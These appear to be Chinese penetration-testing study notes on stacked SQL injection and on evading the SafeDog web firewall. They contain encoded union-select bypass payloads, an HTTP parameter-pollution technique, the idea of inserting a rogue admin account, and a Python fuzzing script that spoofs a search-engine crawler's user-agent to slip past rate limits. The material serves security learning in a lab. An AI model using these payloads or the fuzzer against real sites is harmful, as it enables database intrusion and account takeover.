WEB漏洞—SQL注入之堆叠及WAF绕过注入

WEB漏洞—SQL注入之堆叠及WAF绕过注入

Snipaste_2022-05-02_08-05-51

堆叠注入查询

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆SQL语句(多条一起执行)。而在真实的运用中也是这样的,我们知道在MySQL中,主要是命令行中,每一条语句结尾加一个【;】表示语句结束,这样我们想到了是不是可以多句一起使用,这个叫做Stacked injections

局限

​ 1、堆叠注入需要后端API是否支持多语句执行,数据库引擎是否支持的限制,如果有一个不支持则无法使用

​ 2、如果后端只返回一条数据则在前端是无法查看到第二条注入语句执行结果。

​ 3、局限于部分数据库

​ 4、使用堆叠注入前也需要知道数据表的信息

堆叠注入比UNION注入更加强大,不仅可以拼接查询语句也可以拼接更新/删除语句。

Snipaste_2022-05-02_08-13-46

可以看到两个SQL语句一起写,然后两个语句的查询结果就也一起显示出来了。

有什么用处?

注入需要管理员账号密码,密码是加密的,而你无法解密,那么就可以用堆叠注入进行插入数据,用户密码是你自定义的,那么接下来就可以正常解密登陆的(而且可能由于是管理员的注入点,那么你创建的用户也有可能是管理员权限)【这里并不是说这种注入方式,只能用于这种方式,只是说明一下思路】

1.常见waf有哪些?

waf分为硬件防火墙和软件防火墙,其中硬件防火墙出自各大安全公司,价格昂贵,一般大公司才会购买;软件防火墙相对便宜,小公司使用较多。

现在国内互联网中常见的waf软件有以下三种:

  • 安全狗(更新缓慢容易绕过)
  • 宝塔(免费版和收费版)
  • 阿里云盾(阿里云服务器自带,也叫安骑士)
  • 云waf(云锁,360安全云等)

2.怎么了解waf的检测规则?

可以通过查看waf的配置中的检测规则,

  • 它有哪些检验项目
  • 每个项目会拦截哪些提交方式?
  • 拦截关键字是什么
  • 默认开启了哪些检测规则

在了解waf的检测规则后,再尝试绕过它,会有事半功倍的效果哦!

3.waf的安全策略

waf有很多检测规则,但是一般不会开启全部功能;因为部分拦截规则开启后可能会拦截用户的正常访问,所以大部分管理员不会修改waf的默认配置,当然也不排除有些管理员为了安全性而开启全部拦截规则。

4.怎么才算绕过waf?

waf的检测规则一般是检测用户提交的数据中是否存在某些敏感关键词,当存在关键词时直接拦截并提示,不存在时则可以正常访问;我们渗透测试时如果遇到存在waf的网站,就需要想办法找到waf检测规则的漏洞,再去执行提交的payload且不会被waf拦截。

5.有哪些方式绕过waf?

绕过waf一般采用以下方式:

  1. 通过修改提交的数据,绕过waf的匹配规则
  2. 通过修改数据提交方式,绕过waf匹配规则
  3. 使用其他方式,绕过waf匹配规则

6.绕过waf方法

这里的waf防护软件是安全狗,其它waf也是使用类似的方法绕过,这里主要是提供绕waf的思路!

WAF:简单的理解就是用正则表达式去匹配用户输入的数据,看有没有关键字之类的

1、提交方式去绕过的时候是有前提条件的,代码层面必须支持你更改的提交方式,如果不支持,就算生效了也不会带入到数据库中进行查询

绕过WAF:一个保证你的语句可以正常在数据库中执行正常的查询操作,第二个就是绕过WAF,不被WAF的规则匹配中

Snipaste_2022-05-03_08-27-38

如图所示,/**/在MySQL中是一个注释符,那么安全狗在进行匹配的时候就查看这个database()有没有这个关键字,但是我现在用这个注释符隔离了这个database和()之间的联系,但是这个注释符也不影响这个MySQL的正常执行。

刚刚是将代码层面改成了request的提交方式,现在将变回原样,然后安全狗也恢复默认,重启服务器。那么安全狗刚刚针对于GET提交方式的过滤规则就会生效。

Snipaste_2022-05-03_08-37-01

用刚刚学到的注释符去尝试干扰,发现不行, 将这个注入语句带入到数据库中进行查询,发现是语句不能正常执行

Snipaste_2022-05-03_08-44-07

加上%0a这是一个换行符,其实就相当于截断了

Snipaste_2022-05-03_08-48-22

尝试加上一些干扰字符,结果还是不行

Snipaste_2022-05-03_08-49-53

在尝试加上一个%23,也就是一个#号

Snipaste_2022-05-03_09-02-44

这个语句放到数据库中就是:

Snipaste_2022-05-03_09-02-26

相当于union和select被截断了一样,#号注释了干扰字符a,所以不会影响语句的正常执行,而这个%0a就把union和select换行了,安全狗在进行拦截的时候是匹配到了这个#,就认为后面的都是注释内容就不会进行拦截,select也因为换行的原因,没有被注释符干扰【但是我这里还是被安全狗拦截了,我用的是安全狗3.5的版本】

1
2
3
4
5
6
7
8
9
10
11
用来绕过安全狗waf
%23==》url编码==》#
%0a==》url编码==》换行
%20==》url编码==》空格

用来分割语句的符号
/*!*/

原理
安全狗检测渗透脚本是采用整体验证,例如:unint select 这个整体
可以使用以上方法,使用unint/*!*/select可不触发waf

http参数污染(链接:https://www.cnblogs.com/wjrblogs/p/12966636.html)

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last(最后一个参数)
JSP/Tomcat Request.getParameter(“par”) First(第一个参数)
Perl(CGI)/Apache Param(“par”) First(第一个参数)
Python/Apache getvalue(“par”) All (List)(获取全部参数)
ASP/IIS Request.QueryString(“par”) All (comma-delimited string)

Snipaste_2022-05-02_10-23-32

其实就是用注释符,让安全狗认为后面的语句是一个注释,从而达到绕过的目的,而apache+php的环境可以接收多个参数,这样就可以带入到数据库中进行查询

为什么如下语句可以绕过?【我测试了我的,绕过不了(doge),所以就说个原理吧,有机会在后面的笔记补上】

Snipaste_2022-05-03_09-20-48

1
这里就是利用了两个东西,一个就是上面说的  "参数污染"  一个是一个/***/这个符号其实在MySQL中也类似于注释符一样,就是语句不会执行。那么这么说的话就好理解了,首先是参数污染,我们这个环境是apache+php的一个环境,所以会接收最后面那个值,再用/***/让安全狗认为后面的语句是注释语句,从而达到绕过

Snipaste_2022-05-03_09-31-06

Snipaste_2022-05-03_09-31-14

fuzz:简单理解就是类似于爆破一样,用多种可能来遍历各个可以爆破的地方,用工具来跑,提高效率

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

'''
-------------------------------------------
参数说明:
url:
ua: 设置爬虫的user-agent为百度搜索引擎的ua,利用白名单绕过cc攻击拦截
a,b,c,d,e,f: 拼接后构造payload
-------------------------------------------
'''

url = 'http://sqli7.com/Less-2/?id=-1' #替换为需要绕过的URL
ua = {'User-Agent': 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'}

a = {'/*%23*/union%23%0A', '/*%23*/union', '/*%23a%00*/union', '/*%23%00%0A*/union', '/**//*%23%0Adsdwwd*//*!0union*/', '/*%0a*/union', '/*%20sadsadsa*/union','/*%23X%00*//*!union*/', '/*%23X%00*//*xxx*//*!union*/'}
b = '%23A%0A'
c = '/*!'
d = 'select%201,2,3*/'
e = '/**/'
f = ';%23'

# 这里的50000-50200是数据库版本号,可以修改
for i in range(50000, 50200):
# 拼接组成url,把所有请求记录保存到history.txt
for aa in a:
urls = url + aa + b + c + str(i) + d + e + f
fp = open('history.txt', 'a+')
fp.write(urls + '\n')
result = requests.get(urls, headers=ua).text

# 当前页面中如果不存在字符串 safedog.cn 和 syntax,就说明绕过了安全狗且SQL语句正常无错误;输出url并保存url到bypass_SafeDog.txt
if (result.find('safedog.cn') == -1 and result.find('syntax') == -1):
print(urls)
fp = open('bypass_SafeDog.txt', 'a+')
fp.write(urls + '\n')
time.sleep(0.2)

Snipaste_2022-05-03_09-54-13

实测了一下,有的虽然是没有被安全狗拦截,但是你输入database()这种,依旧是会被拦截,但是说明这个关键字,union和select,是被绕过了,其他的拦截,可以想其他办法,双写,大小写,加解密之类的都可以试一试

涉及资源

1
2
https://www.cnblogs.com/backlion/p/9721687.html
https://blog.csdn.net/nzjdsds/article/details/93740686